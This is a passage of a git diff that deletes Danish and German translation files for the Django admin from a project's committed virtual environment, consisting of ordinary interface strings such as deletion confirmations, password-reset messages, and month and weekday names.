-"Sletning af de valgte %(objects_name)s ville resultere i sletning af " -"relaterede objekter, men din konto har ikke tilladelse til at slette " -"følgende typer af objekter:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Sletning af de valgte %(objects_name)s vil kræve sletning af følgende " -"beskyttede relaterede objekter:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Er du sikker på du vil slette de valgte %(objects_name)s? Alle de følgende " -"objekter og deres relaterede emner vil blive slettet:" - -msgid "Delete?" -msgstr "Slet?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Efter %(filter_title)s " - -msgid "Summary" -msgstr "Sammendrag" - -msgid "Recent actions" -msgstr "Seneste handlinger" - -msgid "My actions" -msgstr "Mine handlinger" - -msgid "None available" -msgstr "Ingen tilgængelige" - -msgid "Added:" -msgstr "Tilføjede:" - -msgid "Changed:" -msgstr "Ændrede:" - -msgid "Deleted:" -msgstr "Slettede:" - -msgid "Unknown content" -msgstr "Ukendt indhold" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Der er noget galt med databaseinstallationen. Kontroller om " -"databasetabellerne er blevet oprettet og at databasen er læsbar for den " -"pågældende bruger." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Du er logget ind som %(username)s, men du har ikke tilladelse til at tilgå " -"denne site. Vil du logge ind med en anden brugerkonto?" - -msgid "Forgotten your login credentials?" -msgstr "Har du glemt dine login-brugeroplysninger?" - -msgid "Toggle navigation" -msgstr "Vis/skjul navigation" - -msgid "Sidebar" -msgstr "Sidebjælke" - -msgid "Start typing to filter…" -msgstr "Skriv for at filtrere…" - -msgid "Filter navigation items" -msgstr "Filtrer navigationsemner" - -msgid "Date/time" -msgstr "Dato/tid" - -msgid "User" -msgstr "Bruger" - -msgid "Action" -msgstr "Funktion" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "post" -msgstr[1] "poster" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Dette objekt har ingen ændringshistorik. Det blev formentlig ikke tilføjet " -"via dette administrations-site" - -msgid "Show all" -msgstr "Vis alle" - -msgid "Save" -msgstr "Gem" - -msgid "Popup closing…" -msgstr "Popup lukker…" - -msgid "Search" -msgstr "Søg" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultat" -msgstr[1] "%(counter)s resultater" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s i alt" - -msgid "Save as new" -msgstr "Gem som ny" - -msgid "Save and add another" -msgstr "Gem og tilføj endnu en" - -msgid "Save and continue editing" -msgstr "Gem og fortsæt med at redigere" - -msgid "Save and view" -msgstr "Gem og vis" - -msgid "Close" -msgstr "Luk" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Redigér valgte %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Tilføj endnu en %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Slet valgte %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Vis valgte %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Tak for den kvalitetstid du brugte på websitet i dag." - -msgid "Log in again" -msgstr "Log ind igen" - -msgid "Password change" -msgstr "Skift adgangskode" - -msgid "Your password was changed." -msgstr "Din adgangskode blev ændret." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Indtast venligst din gamle adgangskode for en sikkerheds skyld og indtast så " -"din nye adgangskode to gange, så vi kan være sikre på, at den er indtastet " -"korrekt." - -msgid "Change my password" -msgstr "Skift min adgangskode" - -msgid "Password reset" -msgstr "Nulstil adgangskode" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Din adgangskode er blevet sat. Du kan logge ind med den nu." - -msgid "Password reset confirmation" -msgstr "Bekræftelse for nulstilling af adgangskode" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Indtast venligst din nye adgangskode to gange, så vi kan være sikre på, at " -"den er indtastet korrekt." - -msgid "New password:" -msgstr "Ny adgangskode:" - -msgid "Confirm password:" -msgstr "Bekræft ny adgangskode:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Linket for nulstilling af adgangskoden er ugyldigt, måske fordi det allerede " -"har været brugt. Anmod venligst påny om nulstilling af adgangskoden." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Vi har sendt dig en e-mail med instruktioner for at indstille din " -"adgangskode, hvis en konto med den angivne e-mail-adresse findes. Du burde " -"modtage den snarest." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Hvis du ikke modtager en e-mail, så tjek venligst, at du har indtastet den e-" -"mail-adresse, du registrerede dig med, og tjek din spam-mappe." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Du modtager denne e-mail, fordi du har anmodet om en nulstilling af " -"adgangskoden til din brugerkonto ved %(site_name)s ." - -msgid "Please go to the following page and choose a new password:" -msgstr "Gå venligst til denne side og vælg en ny adgangskode:" - -msgid "In case you’ve forgotten, you are:" -msgstr "Hvis du har glemt dem, er du:" - -msgid "Thanks for using our site!" -msgstr "Tak fordi du brugte vores website!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Med venlig hilsen %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Har du glemt din adgangskode? Skriv din e-mail-adresse herunder, så sender " -"vi dig instruktioner i at vælge en ny adgangskode." - -msgid "Email address:" -msgstr "E-mail-adresse:" - -msgid "Reset my password" -msgstr "Nulstil min adgangskode" - -msgid "Select all objects on this page for an action" -msgstr "Vælg alle objekter på denne side for en handling" - -msgid "All dates" -msgstr "Alle datoer" - -#, python-format -msgid "Select %s" -msgstr "Vælg %s" - -#, python-format -msgid "Select %s to change" -msgstr "Vælg %s, der skal ændres" - -#, python-format -msgid "Select %s to view" -msgstr "Vælg %s, der skal vises" - -msgid "Date:" -msgstr "Dato:" - -msgid "Time:" -msgstr "Tid:" - -msgid "Lookup" -msgstr "Slå op" - -msgid "Currently:" -msgstr "Nuværende:" - -msgid "Change:" -msgstr "Ændring:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/da/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/da/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 81371260..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/da/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/da/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/da/LC_MESSAGES/djangojs.po deleted file mode 100644 index 277034e1..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/da/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,314 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Christian Joergensen , 2012 -# Erik Ramsgaard Wognsen , 2021-2023,2025 -# Erik Ramsgaard Wognsen , 2012,2015-2016,2020 -# Finn Gruwier Larsen, 2011 -# Jannis Leidel , 2011 -# Mathias Rav , 2017 -# valberg , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Erik Ramsgaard Wognsen , 2021-2023,2025\n" -"Language-Team: Danish (http://app.transifex.com/django/django/language/da/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: da\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Tilgængelige %s" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "Udvælg %s ved at vælge dem og så benytte \"Udvælg\" pileknappen." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Skriv i dette felt for at filtrere listen af tilgængelige %s." - -msgid "Filter" -msgstr "Filtrér" - -#, javascript-format -msgid "Choose all %s" -msgstr "Udvælg alle %s" - -#, javascript-format -msgid "Choose selected %s" -msgstr "Udvælg valgte %s" - -#, javascript-format -msgid "Remove selected %s" -msgstr "Fjern valgte %s" - -#, javascript-format -msgid "Chosen %s" -msgstr "Valgte %s" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "Fjern %s ved at vælge dem og så benytte \"Fjern\" pileknappen." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Skriv i dette felt for at filtrere listen af valgte %s." - -msgid "(click to clear)" -msgstr "(klik for at rydde)" - -#, javascript-format -msgid "Remove all %s" -msgstr "Fjern alle %s" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s valgt mulighed ikke vist" -msgstr[1] "%s valgte muligheder ikke vist" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s af %(cnt)s valgt" -msgstr[1] "%(sel)s af %(cnt)s valgt" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Du har ugemte ændringer af et eller flere redigerbare felter. Hvis du " -"udfører en handling fra drop-down-menuen, vil du miste disse ændringer." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Du har valgt en handling, men du har ikke gemt dine ændringer til et eller " -"flere felter. Klik venligst OK for at gemme og vælg dernæst handlingen igen." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Du har valgt en handling, og du har ikke udført nogen ændringer på felter. " -"Du søger formentlig Udfør-knappen i stedet for Gem-knappen." - -msgid "Now" -msgstr "Nu" - -msgid "Midnight" -msgstr "Midnat" - -msgid "6 a.m." -msgstr "Klokken 6" - -msgid "Noon" -msgstr "Middag" - -msgid "6 p.m." -msgstr "Klokken 18" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Obs: Du er %s time forud i forhold til servertiden." -msgstr[1] "Obs: Du er %s timer forud i forhold til servertiden." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Obs: Du er %s time bagud i forhold til servertiden." -msgstr[1] "Obs: Du er %s timer bagud i forhold til servertiden." - -msgid "Choose a Time" -msgstr "Vælg et Tidspunkt" - -msgid "Choose a time" -msgstr "Vælg et tidspunkt" - -msgid "Cancel" -msgstr "Annuller" - -msgid "Today" -msgstr "I dag" - -msgid "Choose a Date" -msgstr "Vælg en Dato" - -msgid "Yesterday" -msgstr "I går" - -msgid "Tomorrow" -msgstr "I morgen" - -msgid "January" -msgstr "Januar" - -msgid "February" -msgstr "Februar" - -msgid "March" -msgstr "Marts" - -msgid "April" -msgstr "April" - -msgid "May" -msgstr "Maj" - -msgid "June" -msgstr "Juni" - -msgid "July" -msgstr "Juli" - -msgid "August" -msgstr "August" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "December" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "maj" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "aug" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "dec" - -msgid "Sunday" -msgstr "søndag" - -msgid "Monday" -msgstr "mandag" - -msgid "Tuesday" -msgstr "tirsdag" - -msgid "Wednesday" -msgstr "onsdag" - -msgid "Thursday" -msgstr "torsdag" - -msgid "Friday" -msgstr "fredag" - -msgid "Saturday" -msgstr "lørdag" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "søn" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "man" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "tir" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "ons" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "tor" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "fre" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "lør" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "S" - -msgctxt "one letter Monday" -msgid "M" -msgstr "M" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "T" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "O" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "T" - -msgctxt "one letter Friday" -msgid "F" -msgstr "F" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "L" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/de/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/de/LC_MESSAGES/django.mo deleted file mode 100644 index 21883c2c..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/de/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/de/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/de/LC_MESSAGES/django.po deleted file mode 100644 index 205d7973..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/de/LC_MESSAGES/django.po +++ /dev/null @@ -1,791 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# André Hagenbruch, 2012 -# Florian Apolloner , 2011 -# Dimitris Glezos , 2012 -# Florian Apolloner , 2020-2023 -# jnns, 2013 -# Jannis Leidel , 2013-2018,2020 -# jnns, 2016 -# Markus Holtermann , 2020,2023 -# Markus Holtermann , 2013,2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 11:41-0300\n" -"PO-Revision-Date: 2023-12-04 07:05+0000\n" -"Last-Translator: Markus Holtermann , 2020,2023\n" -"Language-Team: German (http://app.transifex.com/django/django/language/de/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: de\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Ausgewählte %(verbose_name_plural)s löschen" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Erfolgreich %(count)d %(items)s gelöscht." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Kann %(name)s nicht löschen" - -msgid "Are you sure?" -msgstr "Sind Sie sicher?" - -msgid "Administration" -msgstr "Administration" - -msgid "All" -msgstr "Alle" - -msgid "Yes" -msgstr "Ja" - -msgid "No" -msgstr "Nein" - -msgid "Unknown" -msgstr "Unbekannt" - -msgid "Any date" -msgstr "Alle Daten" - -msgid "Today" -msgstr "Heute" - -msgid "Past 7 days" -msgstr "Letzte 7 Tage" - -msgid "This month" -msgstr "Diesen Monat" - -msgid "This year" -msgstr "Dieses Jahr" - -msgid "No date" -msgstr "Kein Datum" - -msgid "Has date" -msgstr "Besitzt Datum" - -msgid "Empty" -msgstr "Leer" - -msgid "Not empty" -msgstr "Nicht leer" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Bitte %(username)s und Passwort für einen Staff-Account eingeben. Beide " -"Felder berücksichtigen die Groß-/Kleinschreibung." - -msgid "Action:" -msgstr "Aktion:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "%(verbose_name)s hinzufügen" - -msgid "Remove" -msgstr "Entfernen" - -msgid "Addition" -msgstr "Hinzugefügt" - -msgid "Change" -msgstr "Ändern" - -msgid "Deletion" -msgstr "Gelöscht" - -msgid "action time" -msgstr "Zeitpunkt der Aktion" - -msgid "user" -msgstr "Benutzer" - -msgid "content type" -msgstr "Inhaltstyp" - -msgid "object id" -msgstr "Objekt-ID" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "Objekt Darst." - -msgid "action flag" -msgstr "Aktionskennzeichen" - -msgid "change message" -msgstr "Änderungsmeldung" - -msgid "log entry" -msgstr "Logeintrag" - -msgid "log entries" -msgstr "Logeinträge" - -#, python-format -msgid "Added “%(object)s”." -msgstr "„%(object)s“ hinzufügt." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "„%(object)s“ geändert – %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "„%(object)s“ gelöscht." - -msgid "LogEntry Object" -msgstr "LogEntry Objekt" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} „{object}“ hinzugefügt." - -msgid "Added." -msgstr "Hinzugefügt." - -msgid "and" -msgstr "und" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{fields} für {name} „{object}“ geändert." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} geändert." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "{name} „{object}“ gelöscht." - -msgid "No fields changed." -msgstr "Keine Felder geändert." - -msgid "None" -msgstr "-" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Halten Sie die Strg-Taste (⌘ für Mac) während des Klickens gedrückt, um " -"mehrere Einträge auszuwählen." - -msgid "Select this object for an action - {}" -msgstr "Dieses Objekt für eine Aktion auswählen - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} „{obj}“ wurde erfolgreich hinzugefügt." - -msgid "You may edit it again below." -msgstr "Es kann unten erneut geändert werden." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} „{obj}“ wurde erfolgreich hinzugefügt und kann nun unten um ein " -"Weiteres ergänzt werden." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} „{obj}“ wurde erfolgreich geändert und kann unten erneut geändert " -"werden." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" -"{name} „{obj}“ wurde erfolgreich hinzugefügt und kann unten geändert werden." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} „{obj}“ wurde erfolgreich geändert und kann nun unten erneut ergänzt " -"werden." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} „{obj}“ wurde erfolgreich geändert." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Es müssen Objekte aus der Liste ausgewählt werden, um Aktionen " -"durchzuführen. Es wurden keine Objekte geändert." - -msgid "No action selected." -msgstr "Keine Aktion ausgewählt." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s „%(obj)s“ wurde erfolgreich gelöscht." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s mit ID „%(key)s“ existiert nicht. Eventuell gelöscht?" - -#, python-format -msgid "Add %s" -msgstr "%s hinzufügen" - -#, python-format -msgid "Change %s" -msgstr "%s ändern" - -#, python-format -msgid "View %s" -msgstr "%s ansehen" - -msgid "Database error" -msgstr "Datenbankfehler" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s wurde erfolgreich geändert." -msgstr[1] "%(count)s %(name)s wurden erfolgreich geändert." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s ausgewählt" -msgstr[1] "Alle %(total_count)s ausgewählt" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 von %(cnt)s ausgewählt" - -#, python-format -msgid "Change history: %s" -msgstr "Änderungsgeschichte: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Das Löschen des %(class_name)s-Objekts „%(instance)s“ würde ein Löschen der " -"folgenden geschützten verwandten Objekte erfordern: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django-Systemverwaltung" - -msgid "Django administration" -msgstr "Django-Verwaltung" - -msgid "Site administration" -msgstr "Website-Verwaltung" - -msgid "Log in" -msgstr "Anmelden" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s-Administration" - -msgid "Page not found" -msgstr "Seite nicht gefunden" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "" -"Es tut uns leid, aber die angeforderte Seite konnte nicht gefunden werden." - -msgid "Home" -msgstr "Start" - -msgid "Server error" -msgstr "Serverfehler" - -msgid "Server error (500)" -msgstr "Serverfehler (500)" - -msgid "Server Error (500)" -msgstr "Serverfehler (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Ein Fehler ist aufgetreten und wurde an die Administratoren per E-Mail " -"gemeldet. Danke für die Geduld, der Fehler sollte in Kürze behoben sein." - -msgid "Run the selected action" -msgstr "Ausgewählte Aktion ausführen" - -msgid "Go" -msgstr "Ausführen" - -msgid "Click here to select the objects across all pages" -msgstr "Hier klicken, um die Objekte aller Seiten auszuwählen" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Alle %(total_count)s %(module_name)s auswählen" - -msgid "Clear selection" -msgstr "Auswahl widerrufen" - -msgid "Breadcrumbs" -msgstr "„Brotkrümel“" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modelle der %(name)s-Anwendung" - -msgid "Add" -msgstr "Hinzufügen" - -msgid "View" -msgstr "Ansehen" - -msgid "You don’t have permission to view or edit anything." -msgstr "" -"Das Benutzerkonto besitzt nicht die nötigen Rechte, um etwas anzusehen oder " -"zu ändern." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Bitte zuerst einen Benutzernamen und ein Passwort eingeben. Danach können " -"weitere Optionen für den Benutzer geändert werden." - -msgid "Enter a username and password." -msgstr "Bitte einen Benutzernamen und ein Passwort eingeben." - -msgid "Change password" -msgstr "Passwort ändern" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Bitte den unten aufgeführten Fehler korrigieren." -msgstr[1] "Bitte die unten aufgeführten Fehler korrigieren." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Bitte geben Sie ein neues Passwort für den Benutzer %(username)s ein." - -msgid "Skip to main content" -msgstr "Zum Hauptinhalt springen" - -msgid "Welcome," -msgstr "Willkommen," - -msgid "View site" -msgstr "Website anzeigen" - -msgid "Documentation" -msgstr "Dokumentation" - -msgid "Log out" -msgstr "Abmelden" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s hinzufügen" - -msgid "History" -msgstr "Geschichte" - -msgid "View on site" -msgstr "Auf der Website anzeigen" - -msgid "Filter" -msgstr "Filter" - -msgid "Hide counts" -msgstr "Anzahl verstecken" - -msgid "Show counts" -msgstr "Anzahl anzeigen" - -msgid "Clear all filters" -msgstr "Alle Filter zurücksetzen" - -msgid "Remove from sorting" -msgstr "Aus der Sortierung entfernen" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sortierung: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Sortierung ein-/ausschalten" - -msgid "Toggle theme (current theme: auto)" -msgstr "Design wechseln (aktuelles Design: automatisch)" - -msgid "Toggle theme (current theme: light)" -msgstr "Design wechseln (aktuelles Design: hell)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Design wechseln (aktuelles Design: dunkel)" - -msgid "Delete" -msgstr "Löschen" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Das Löschen des %(object_name)s „%(escaped_object)s“ hätte das Löschen davon " -"abhängiger Daten zur Folge, aber Sie haben nicht die nötigen Rechte, um die " -"folgenden davon abhängigen Daten zu löschen:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Das Löschen von %(object_name)s „%(escaped_object)s“ würde ein Löschen der " -"folgenden geschützten verwandten Objekte erfordern:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Sind Sie sicher, dass Sie %(object_name)s „%(escaped_object)s“ löschen " -"wollen? Es werden zusätzlich die folgenden davon abhängigen Daten gelöscht:" - -msgid "Objects" -msgstr "Objekte" - -msgid "Yes, I’m sure" -msgstr "Ja, ich bin sicher" - -msgid "No, take me back" -msgstr "Nein, bitte abbrechen" - -msgid "Delete multiple objects" -msgstr "Mehrere Objekte löschen" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Das Löschen der ausgewählten %(objects_name)s würde im Löschen geschützter " -"verwandter Objekte resultieren, allerdings besitzt Ihr Benutzerkonto nicht " -"die nötigen Rechte, um diese zu löschen:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Das Löschen der ausgewählten %(objects_name)s würde ein Löschen der " -"folgenden geschützten verwandten Objekte erfordern:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Sind Sie sicher, dass Sie die ausgewählten %(objects_name)s löschen wollen? " -"Alle folgenden Objekte und ihre verwandten Objekte werden gelöscht:" - -msgid "Delete?" -msgstr "Löschen?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Nach %(filter_title)s " - -msgid "Summary" -msgstr "Zusammenfassung" - -msgid "Recent actions" -msgstr "Neueste Aktionen" - -msgid "My actions" -msgstr "Meine Aktionen" - -msgid "None available" -msgstr "Keine vorhanden" - -msgid "Added:" -msgstr "Hinzugefügt:" - -msgid "Changed:" -msgstr "Geändert:" - -msgid "Deleted:" -msgstr "Gelöscht:" - -msgid "Unknown content" -msgstr "Unbekannter Inhalt" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Etwas stimmt nicht mit der Datenbankkonfiguration. Bitte sicherstellen, dass " -"die richtigen Datenbanktabellen angelegt wurden und die Datenbank vom " -"verwendeten Datenbankbenutzer auch lesbar ist." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Sie sind als %(username)s angemeldet, aber nicht autorisiert, auf diese " -"Seite zuzugreifen. Wollen Sie sich mit einem anderen Account anmelden?" - -msgid "Forgotten your password or username?" -msgstr "Benutzername oder Passwort vergessen?" - -msgid "Toggle navigation" -msgstr "Navigation ein-/ausblenden" - -msgid "Sidebar" -msgstr "Seitenleiste" - -msgid "Start typing to filter…" -msgstr "Eingabe beginnen um zu filtern…" - -msgid "Filter navigation items" -msgstr "Navigationselemente filtern" - -msgid "Date/time" -msgstr "Datum/Zeit" - -msgid "User" -msgstr "Benutzer" - -msgid "Action" -msgstr "Aktion" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "Eintrag" -msgstr[1] "Einträge" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Dieses Objekt hat keine Änderungsgeschichte. Es wurde möglicherweise nicht " -"über diese Verwaltungsseiten angelegt." - -msgid "Show all" -msgstr "Zeige alle" - -msgid "Save" -msgstr "Sichern" - -msgid "Popup closing…" -msgstr "Popup wird geschlossen..." - -msgid "Search" -msgstr "Suchen" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s Ergebnis" -msgstr[1] "%(counter)s Ergebnisse" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s gesamt" - -msgid "Save as new" -msgstr "Als neu sichern" - -msgid "Save and add another" -msgstr "Sichern und neu hinzufügen" - -msgid "Save and continue editing" -msgstr "Sichern und weiter bearbeiten" - -msgid "Save and view" -msgstr "Sichern und 